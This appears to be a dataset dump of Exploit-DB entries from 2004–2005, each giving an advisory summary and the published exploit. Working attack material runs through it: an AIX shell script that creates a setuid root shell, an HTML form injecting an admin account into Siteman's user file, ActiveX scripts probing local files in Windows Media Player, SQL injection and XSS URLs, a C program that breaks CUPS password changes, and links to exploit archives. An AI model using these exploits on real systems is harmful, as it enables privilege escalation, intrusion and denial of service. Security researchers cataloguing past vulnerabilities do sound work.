QLWD/code_shield huggingface dataset:
标题: Siteman 1.1 - User Database Privilege Escalation (2) EDB-ID: 25053 CVE: 2005-0305 类型: WEBAPPS 平台: PHP 发布日期: 2005-01-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/12304/info
 
Siteman is reported prone to a vulnerability that may allow users to gain elevated privileges. This issue results from insufficient sanitization of user-supplied data.
 
Apparently, an attacker can supply additional lines to the stream used to write to the user database file through a URI parameter. This can allow the attacker to corrupt the user database file and potentially gain administrative privileges to the Siteman application.
 
Siteman 1.1.10 and prior versions are affected by this vulnerability. 

<html>
<b>These data were recorded.</b><br /><br /><table cellspacing="0"
cellpadding="2"><tr><td>Username(Use this, and not your display name,
when
logging in)</td><td
align="right">amir452</td></tr><tr><td>Password</td><td
align="right"><form><select><option>Click to show password</option>
                                        
<option>amir452</option></select></form></td></tr><tr><td>Secret
Question (Asked when you forget your password)</td><td
align="right">amir452</td></tr><tr><td>Answer to secret
question</td><td
align="right"><form>
<select>
<option>Click to show answer</option>
<option>amir452</option>
</select></form>
</td></tr><tr><td>Display name</td><td
align="right">amir452</td></tr><tr><td>Member Level</td><td
align="right"><b>5</b> (Admin)</td></tr><tr><td>email</td><td
align="right">amir452@amir452.com</td></tr><tr><td>Hide my email
adress</td><td align="right">no</td></tr><tr><td>Forum
Signature</td><td
align="right">hackers</td></table><br /><br />Is this correct?<br
/><table
cellspacing="0" cellpadding="3"><tr><td>

<form action="users.php?do=new" method="post"><input type="submit"
value="no" /></form></td><td>

<form action="http://www.example.com/users.php?do=docreate"
method="post">
                                        <input type="hidden" name="line"
value="amir452|347a9a8a8d3f364f0bdb82c4208a3207|5|amir452@amir452.com|amir452|1105956827|amir452|347a9a8a8d3f364f0bdb82c4208a3207|0|0|0|hackers"
/><input type="submit" value="yes" /></form></html> URL: https://www.exploit-db.com/exploits/25053
标题: Kayako eSupport 2.x - 'index.php' Knowledgebase Cross-Site Scripting EDB-ID: 25037 CVE: 2004-1412 类型: WEBAPPS 平台: PHP 发布日期: 2004-12-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/12037/info

Kayako eSupport is prone to multiple input validation vulnerabilities. One cross-site scripting and six SQL injection vulnerabilities.

These issues may collectively threaten compromise of software and database security properties. Possible attacks include theft of cookie-based authentication credentials, exposure or modification of database information, and a potential for attacks against the underlying database implementation. 

http://www.example.com/index.php?_a=knowledgebase&_j=search&searchm=[CODEGOESHERE] URL: https://www.exploit-db.com/exploits/25037
标题: IBM AIX 5.x - 'Diag' Local Privilege Escalation EDB-ID: 25039 CVE: 2004-1329 类型: LOCAL 平台: AIX 发布日期: 2004-12-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/12041/info

diag is reported prone to a local privilege escalation vulnerability. This issue is due to a failure of certain diag applications to properly implement security controls when executing an application specified by the 'DIAGNOSTICS' environment variable.

A local attacker may leverage this issue to gain superuser privileges on a computer running the affected software. 

mkdirhier /tmp/aap/bin
export DIAGNOSTICS=/tmp/aap
cat > /tmp/aap/bin/Dctrl << EOF
#!/bin/sh
cp /bin/sh /tmp/.shh
chown root:system /tmp/.shh
chmod u+s /tmp/.shh
EOF
chmod a+x /tmp/aap/bin/Dctrl
lsmcode
/tmp/.shh URL: https://www.exploit-db.com/exploits/25039
标题: PCAL 4.x - Calendar File 'get_holiday' Remote Buffer Overflow EDB-ID: 25036 CVE: 2004-1289 类型: REMOTE 平台: LINUX 发布日期: 2004-12-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/12036/info

PCAL is prone to a buffer overflow vulnerability. This issue is exposed when the application handles a calendar file that contains excessively long holiday data. Since calendar files may originate from an external or untrusted source, this vulnerability is considered to be remote in nature.

Successful exploitation of this issue will result in execution of arbitrary code as the user of the application. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/25036.zip URL: https://www.exploit-db.com/exploits/25036
标题: Microsoft Windows Media Player 9.0 - ActiveX Control File Enumeration EDB-ID: 25032 CVE: 2004-1325 类型: REMOTE 平台: WINDOWS 发布日期: 2004-12-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/12032/info

The Windows Media Player ActiveX control is prone to a security weakness that may allow a malicious Web page to enumerate files that exist on the client computer.

This could aid in further attacks.

This issue is reported to affect Windows Media Player 9. It reportedly does not work on computers running Windows XP SP2 when the attack is executed from a remote source. This is likely due to additional browser security measures in Windows XP SP2. 

<html><head><title>My Mortality</title></head><body>

<H1>Look at yourself and find the mortality of your body</H1>
<object style="display:none;"
classid="clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6"
id="WindowsMediaPlayer">
<param name="autoStart" value="0">
<param name="mute" value="1">
</object>

<script>
var filePath = prompt("Enter the path of local file to check:","c:\\test.txt");
WindowsMediaPlayer.URL=filePath;
setTimeout(
function(){
ss=WindowsMediaPlayer.currentMedia.getItemInfoByAtom(19);
if (ss!="")
alert(filePath+" exist.\nThe file size is "+ss+" bytes. And you are surely vulnerable");
else
alert(filePath+" does not exist. Or you are not vulnerable");
}
,100);
</script>

</body></html> URL: https://www.exploit-db.com/exploits/25032
标题: Kayako eSupport 2.x - Ticket System Multiple SQL Injections EDB-ID: 25038 CVE: 2004-1413 类型: WEBAPPS 平台: PHP 发布日期: 2004-12-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/12037/info
 
Kayako eSupport is prone to multiple input validation vulnerabilities. One cross-site scripting and six SQL injection vulnerabilities.
 
These issues may collectively threaten compromise of software and database security properties. Possible attacks include theft of cookie-based authentication credentials, exposure or modification of database information, and a potential for attacks against the underlying database implementation. 

http://www.example.com/index.php?_a=knowledgebase&_j=subcat&_i=[SQL]

http://www.example.com/index.php?_a=knowledgebase&_j=rate&_i=[SQL]&type=no

http://www.example.com/index.php?_a=knowledgebase&_j=questiondetails&_i=[SQL]

http://www.example.com/index.php?_a=tickets&_m=viewmain&email22=blah@blah&ticketkey22=[
SQL]

http://www.example.com/index.php?_a=tickets&_m=viewmain&email22=[SQL]&ticketkey22= URL: https://www.exploit-db.com/exploits/25038
标题: abctab2ps 1.6.3 - 'Trim_Title' '.ABC' File Remote Buffer Overflow EDB-ID: 25029 CVE: 2004-1260 类型: REMOTE 平台: WINDOWS 发布日期: 2004-12-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/12028/info

abctab2ps is reported prone to a remote buffer overflow vulnerability. This issue arises because the application fails to carry out proper boundary checks before copying user-supplied data in to sensitive process buffers. It is reported that this issue can allow an attacker to gain unauthorized access to a computer in the context of the application.

This vulnerability exists in the 'trim_title()' function.

An attacker can exploit this issue by crafting a malicious ABC file that contains excessive string data, replacement memory addresses, and executable instructions to trigger this issue.

If a user obtains this file and processes it through the application, the attacker-supplied instructions may be executed on the vulnerable computer. It is reported that successful exploitation may result in a compromise in the context of the application.

abctab2ps version 1.6.3 is reported prone to this vulnerability. It is likely that other versions are affected as well.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/25029.zip URL: https://www.exploit-db.com/exploits/25029
标题: PCAL 4.x - Calendar File 'getline' Remote Buffer Overflow EDB-ID: 25035 CVE: 2004-1289 类型: REMOTE 平台: LINUX 发布日期: 2004-12-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/12035/info

PCAL is prone to a buffer overflow vulnerability. This issue is exposed when the application handles a calendar file that contains excessively long lines. Since calendar files may originate from an external or untrusted source, this vulnerability is considered to be remote in nature.

Successful exploitation of this issue will result in execution of arbitrary code as the user of the application. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/25035.zip URL: https://www.exploit-db.com/exploits/25035
标题: abctab2ps 1.6.3 - 'Write_Heading' '.ABC' Remote Buffer Overflow EDB-ID: 25027 CVE: 2004-1260 类型: REMOTE 平台: WINDOWS 发布日期: 2004-12-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/12026/info

abctab2ps is reported prone to a remote buffer overflow vulnerability. This issue arises because the application fails to carry out proper boundary checks before copying user-supplied data in to sensitive process buffers. It is reported that this issue can allow an attacker to gain unauthorized access to a computer in the context of the application.

This vulnerability exists in the 'write_heading()' function.

An attacker can exploit this issue by crafting a malicious ABC file that contains excessive string data, replacement memory addresses, and executable instructions to trigger this issue.

If a user obtains this file and processes it through the application, the attacker-supplied instructions may be executed on the vulnerable computer. It is reported that successful exploitation may result in a compromise in the context of the application.

abctab2ps version 1.6.3 is reported prone to this vulnerability. It is likely that other versions are affected as well. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/25027.zip URL: https://www.exploit-db.com/exploits/25027
标题: Microsoft Windows Media Player 9.0 - ActiveX Control Media File Attribute Corruption EDB-ID: 25031 CVE: 2004-1324 类型: REMOTE 平台: WINDOWS 发布日期: 2004-12-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/12031/info

The Windows Media Player ActiveX control is prone to a security weakness. The issue is that the control may be abused by a Web page to change attributes of media files (such as MP3). An attacker can influence attributes such as the artist, song name, or album name.

It is possible to exploit this weakness to inject malicious script code into these attributes. If this issue was combined with a vulnerability that could force Internet Explorer to interpret the injected script code, it may be possible to execute malicious script code in the Local Zone. Such an attack would lead to execution of arbitrary code on computers that do not have this Zone locked down.

This issue is reported to affect Windows Media Player 9. It reportedly does not work on computers running Windows XP SP2 when the attack is executed from a remote source. This is likely due to additional browser security measures in Windows XP SP2. 

<object style="display:none;"
classid="clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6"
id="WindowsMediaPlayer">
<param name="autoStart" value="1">
<param name="url" value="file://c:\program files\winamp\winamp.m3u">
<param name="mute" value="1">
</object>

<script>

note = 'Look at yourself and find the mortality of your body';

setTimeout(
function(){
if (WindowsMediaPlayer.currentMedia.sourceURL!='c:\\program files\\winamp\\winamp.m3u')
{
artist = WindowsMediaPlayer.currentMedia.getItemInfo("Artist");
title = WindowsMediaPlayer.currentMedia.getItemInfo("Title");
album = WindowsMediaPlayer.currentMedia.getItemInfo("Album");
texxt = "";
if (artist!=note)
{
if (artist!="")
texxt='I like '+artist+'!\n';
if (title!="")
texxt=texxt+'I think '+title+' is the best song';
if ((title!="")&&(album!=""))
texxt=texxt+' from ';
if (album!="")
texxt=texxt+'My favorite album "'+album+'".\n';
else
texxt=texxt+'.\n';
texxt=texxt+'I have it on my computer ('+WindowsMediaPlayer.currentMedia.sourceURL+'), I guess you have it too! ;)';
alert(texxt);
}
WindowsMediaPlayer.currentMedia.setItemInfo("Artist",note);
alert('done!\nplay '+WindowsMediaPlayer.currentMedia.sourceURL+' by a player and take a look at artist name, it must be changed!');
WindowsMediaPlayer.controls.stop();
WindowsMediaPlayer.controls.play();
}
else
alert('Can\'t find winamp default playlist!\nMost probably the winamp is not installed in c:\\program files\\winamp directory.');
}
,2000);
</script>


</body></html> URL: https://www.exploit-db.com/exploits/25031
标题: ABC2MIDI 2004-12-04 - Multiple Stack Buffer Overflow Vulnerabilities EDB-ID: 25019 CVE: 2004-1256 类型: REMOTE 平台: MULTIPLE 发布日期: 2004-12-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/12019/info

It is reported that abc2midi is susceptible to two stack buffer overflow vulnerabilities. These issues are due to a failure of the application to properly bounds check user-supplied image data prior to copying it into fixed-size memory buffers.

These vulnerabilities allow remote attackers to alter the proper flow of execution of the application, potentially resulting in the execution of attacker-supplied machine code in the context of the application attempting to read malicious ABC files. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/25019-1.zip

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/25019-2.zip URL: https://www.exploit-db.com/exploits/25019
标题: ABCPP 1.3 - Directive Handler Buffer Overflow EDB-ID: 25021 CVE: 2004-1259 类型: REMOTE 平台: WINDOWS 发布日期: 2004-12-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/12021/info

abcpp is prone to a buffer overflow vulnerability. This issue is exposed when the program is used to handle directives in ABC music notation files. Since the ABC files may originate from an external or untrusted source, this issue is considered remote in nature.

Successful exploitation will result in execution of arbitrary code in the context of the user running the application. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/25021.zip URL: https://www.exploit-db.com/exploits/25021
标题: ASP2PHP 0.76.23 - Preparse Token Variable Buffer Overflow EDB-ID: 25016 CVE: 2004-1261 类型: REMOTE 平台: WINDOWS 发布日期: 2004-12-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/12014/info

asp2php is prone to a buffer overflow vulnerability. This issue is exposed when the application is used to convert an ASP file to PHP. The particular issue is related to parsing of tokens in ASP files. Since ASP files may originate from an external or untrusted source, this vulnerability is considered to be remote in nature.

Successful exploitation would allow for execution of arbitrary code in the context of the user running the application.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/25016.zip URL: https://www.exploit-db.com/exploits/25016
标题: Michael Kohn Ringtone Tools 2.22 - '.EMelody' File Remote Buffer Overflow EDB-ID: 25015 CVE: 2004-1292 类型: REMOTE 平台: LINUX 发布日期: 2004-12-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/12010/info

Ringtone Tools is reported prone to a remote buffer overflow vulnerability. This issue arises because the application fails to carry out proper boundary checks before copying user-supplied data in to sensitive process buffers. It is reported that this issue can allow an attacker to gain unauthorized access to a computer in the context of the application.

An attacker can exploit this issue by crafting a malicious eMelody file that contains excessive string data, replacement memory addresses, and executable instructions to trigger this issue.

If a user obtains this file and processes it through the application, the attacker-supplied instructions may be executed on the vulnerable computer. It is reported that successful exploitation may result in a compromise in the context of the application.

Ringtone Tools version 2.22 is reported prone to this vulnerability. It is likely that other versions are affected as well. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/25015.zip URL: https://www.exploit-db.com/exploits/25015
标题: Michael Kohn VB2C 0.02 - '.FRM' File Remote Buffer Overflow EDB-ID: 25020 CVE: 2004-1298 类型: REMOTE 平台: WINDOWS 发布日期: 2004-12-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/12020/info

VB2C is reported prone to a remote buffer overflow vulnerability. This issue arises because the application fails to carry out proper boundary checks before copying user-supplied data in to sensitive process buffers. It is reported that this issue can allow an attacker to gain unauthorized access to a computer in the context of the application.

An attacker can exploit this issue by crafting a malicious FRM file that contains excessive string data, replacement memory addresses, and executable instructions to trigger this issue.

If a user obtains this file and processes it through the application, the attacker-supplied instructions may be executed on the vulnerable computer. It is reported that successful exploitation may result in a compromise in the context of the application.

VB2C version 0.02 is reported prone to this vulnerability. It is likely that other versions are affected as well. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/25020.zip URL: https://www.exploit-db.com/exploits/25020
标题: Easy Software Products LPPassWd 1.1.22 - Resource Limit Denial of Service EDB-ID: 25012 CVE: 2004-1269 类型: DOS 平台: WINDOWS 发布日期: 2004-12-11 漏洞利用脚本: // source: https://www.securityfocus.com/bid/12005/info

Easy Software Products lppasswd is prone to a locally exploitable denial of service vulnerability. This issue occurs when the program attempts to write a file to the system that will exceed any file size resource limits in place. This presents a vulnerability since an unprivileged user with CUPS credentials may set these resource limits and then invoke the application. This will create an empty '/usr/local/etc/cups/passwd.new' file. If this file is present, then future invocations of lppasswd will fail.

Successful exploitation will prevent users from changing their CUPS passwords with lppasswd. 

/*
 * evil.c
 * 2004.12.11
 * Bartlomiej Sieka
 *
 * This program executes the lpasswd(1) password changing utility
 * in way that prevents its further use, i.e. after this program
 * has been executed, all users on the system will be unable to change
 * their CUPS passwords. This is not a documented feature of lppasswd(1)
 * and is certainly unauthorized.
 *
 * This program has been tested with lppasswd(1) versions 1.1.19 and
 * 1.1.22 on FreeBSD 5.2.
 *
 * The recipe:
 * gcc -o evil evil.c
 * ./evil
 * Type in passwords as requested, and voila! This will create an empty
 * file /usr/local/etc/cups/passwd.new. The existence of this file makes
 * lppasswd(1) quit before changing users password with message
 * "lppasswd: Password file busy!".
 */

#include <sys/types.h>
#include <sys/time.h>
#include <sys/resource.h>
#include <unistd.h>
extern char **environ;

int main(int argc, char **argv){

  char *cmd = "/usr/local/bin/lppasswd";
  char *args[] = { "/usr/local/bin/lppasswd", 0x00 };

  /* set the file size limit to 0 */
  struct rlimit rl;
  rl.rlim_cur = 0;
  rl.rlim_max = 0;
  setrlimit(RLIMIT_FSIZE, &rl);

  /* execute the poor victim */
  execve(cmd, args, environ);
} URL: https://www.exploit-db.com/exploits/25012
标题: LinPopUp 1.2 - Remote Buffer Overflow EDB-ID: 25008 CVE: 2004-1282 类型: REMOTE 平台: LINUX 发布日期: 2004-12-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/11997/info

LinPopUp is reported prone to a remote buffer overflow vulnerability. This issue arises because the application fails to carry out proper boundary checks before copying user-supplied data in to sensitive process buffers. It is reported that this issue can allow an attacker to gain unauthorized access to a computer in the context of the application.

An attacker can exploit this issue by crafting a malicious message that contains excessive string data, replacement memory addresses, and executable instructions to trigger this issue.

LinPopUp version 1.2.0 is reported prone to this vulnerability. It is likely that other versions are affected as well. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/25008.zip URL: https://www.exploit-db.com/exploits/25008
标题: O3Read 0.0.3 - HTML Parser Buffer Overflow EDB-ID: 25010 CVE: 2004-1288 类型: REMOTE 平台: LINUX 发布日期: 2004-12-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/12000/info

o3read is prone to a buffer overflow vulnerability. This issue is exposed when the program parses HTML content during file format conversion. This issue is considered to be remote in nature since it is possible that files may originate from an external or untrusted source.

Successful exploitation will result in code execution with the privileges of the user running the application. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/25010.zip URL: https://www.exploit-db.com/exploits/25010
标题: NASM 0.98.x - Error Preprocessor Directive Buffer Overflow EDB-ID: 25005 CVE: 2004-1287 类型: REMOTE 平台: LINUX 发布日期: 2004-12-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/11991/info

NASM is prone to a buffer overflow. This condition is exposed when the application attempts to assemble a source file that contains malformed '%error' preprocessor directive arguments. Since the source file may originate from an external or untrusted source, this vulnerability is considered remote in nature.

Successful exploitation will permit arbitrary code execution with the privileges of the user running the application. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/25005.zip URL: https://www.exploit-db.com/exploits/25005
标题: RTF2LATEX2E 1.0 - Remote Stack Buffer Overflow EDB-ID: 25006 CVE: 2004-1293 类型: REMOTE 平台: LINUX 发布日期: 2004-12-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/11994/info

It is reported that rtf2latex2e is susceptible to a stack buffer overflow vulnerability. This issue is due to a failure of the application to properly bounds check user-supplied image data prior to copying it into a fixed-size memory buffer.

This vulnerability allows remote attackers to alter the proper flow of execution of the application, potentially resulting in the execution of attacker-supplied machine code in the context of the application attempting to read the malicious RTF file. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/25006.zip URL: https://www.exploit-db.com/exploits/25006
标题: MediaWiki 1.3.x - Arbitrary Script Upload EDB-ID: 24994 CVE: 2004-1405 类型: WEBAPPS 平台: PHP 发布日期: 2004-12-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/11985/info

MediaWiki is reported prone to a vulnerability that can allow a remote attacker to upload arbitrary PHP scripts to a vulnerable server. This issue results from insufficient sanitization of user-supplied input.

If successful, the attacker can execute arbitrary script code on a vulnerable server. This can lead to unauthorized access in the context of the application.

MediaWiki 1.3.8 and prior versions are affected by this issue. 

Script file name:
attack.php.rar URL: https://www.exploit-db.com/exploits/24994